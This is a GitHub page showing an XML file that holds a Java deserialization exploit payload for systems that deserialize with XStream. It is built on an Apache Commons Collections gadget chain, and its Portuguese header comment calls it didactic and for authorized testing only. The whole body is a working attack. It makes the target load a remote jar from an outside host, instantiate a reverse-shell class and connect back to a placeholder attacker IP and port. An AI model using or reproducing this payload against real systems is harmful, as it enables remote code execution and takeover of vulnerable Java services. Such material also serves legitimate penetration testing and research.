forked from CxTyler/JVL_Actions
-
Notifications
You must be signed in to change notification settings - Fork 1
/
reverseShellMultiplatformCommonsCollections.xml
67 lines (65 loc) · 3.12 KB
/
reverseShellMultiplatformCommonsCollections.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<!--
Payload com gadget chain para carregar e executar uma classe remota
(hospedada pelo testador). Neste exemplo, é usada a classe JexReverse,
do componente http://www.joaomatosf.com/rnp/java_files/JexRemoteTools.jar,
a fim de obter uma reverse shell independente de plataforma (Windows ou *nix).
Neste exemplo é usado um HashMap como trigger gadget, o qual permite atingir
o método hashCode de um TiedMapEntry que, por sua vez, aciona o método .get()
de um LazyMap decorado com a ChainedTransformers.
Esse XML pode ser usado para validação/exploração de sistemas que realizam a
desserialização usando o XStream. O propósito é unica e exclusivamente DIDATICO!
NAO utilize em sistemas que você não tenha autorização!
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
* https://www.h2hc.com.br/revista/
* https://github.com/joaomatosf/JavaDeserH2HC
* @joaomatosf
-->
<set>
<org.apache.commons.collections.keyvalue.TiedMapEntry>
<map class="org.apache.commons.collections.map.LazyMap" serialization="custom">
<unserializable-parents/>
<org.apache.commons.collections.map.LazyMap>
<default>
<factory class="org.apache.commons.collections.functors.ChainedTransformer">
<iTransformers>
<org.apache.commons.collections.functors.ConstantTransformer>
<iConstant class="java-class">java.net.URLClassLoader</iConstant>
</org.apache.commons.collections.functors.ConstantTransformer>
<org.apache.commons.collections.functors.InstantiateTransformer>
<iParamTypes>
<java-class>[Ljava.net.URL;</java-class>
</iParamTypes>
<iArgs>
<url-array>
<url>http://www.joaomatosf.com/rnp/java_files/JexRemoteTools.jar</url>
</url-array>
</iArgs>
</org.apache.commons.collections.functors.InstantiateTransformer>
<org.apache.commons.collections.functors.InvokerTransformer>
<iMethodName>loadClass</iMethodName>
<iParamTypes>
<java-class>java.lang.String</java-class>
</iParamTypes>
<iArgs>
<string>JexReverse</string>
</iArgs>
</org.apache.commons.collections.functors.InvokerTransformer>
<org.apache.commons.collections.functors.InstantiateTransformer>
<iParamTypes>
<java-class>java.lang.String</java-class>
<java-class>int</java-class>
</iParamTypes>
<iArgs>
<string>YOUR_BOX_IP</string>
<int>PORT_LISTENING</int>
</iArgs>
</org.apache.commons.collections.functors.InstantiateTransformer>
</iTransformers>
</factory>
</default>
<map/>
</org.apache.commons.collections.map.LazyMap>
</map>
<key class="string">foo</key>
</org.apache.commons.collections.keyvalue.TiedMapEntry>
</set>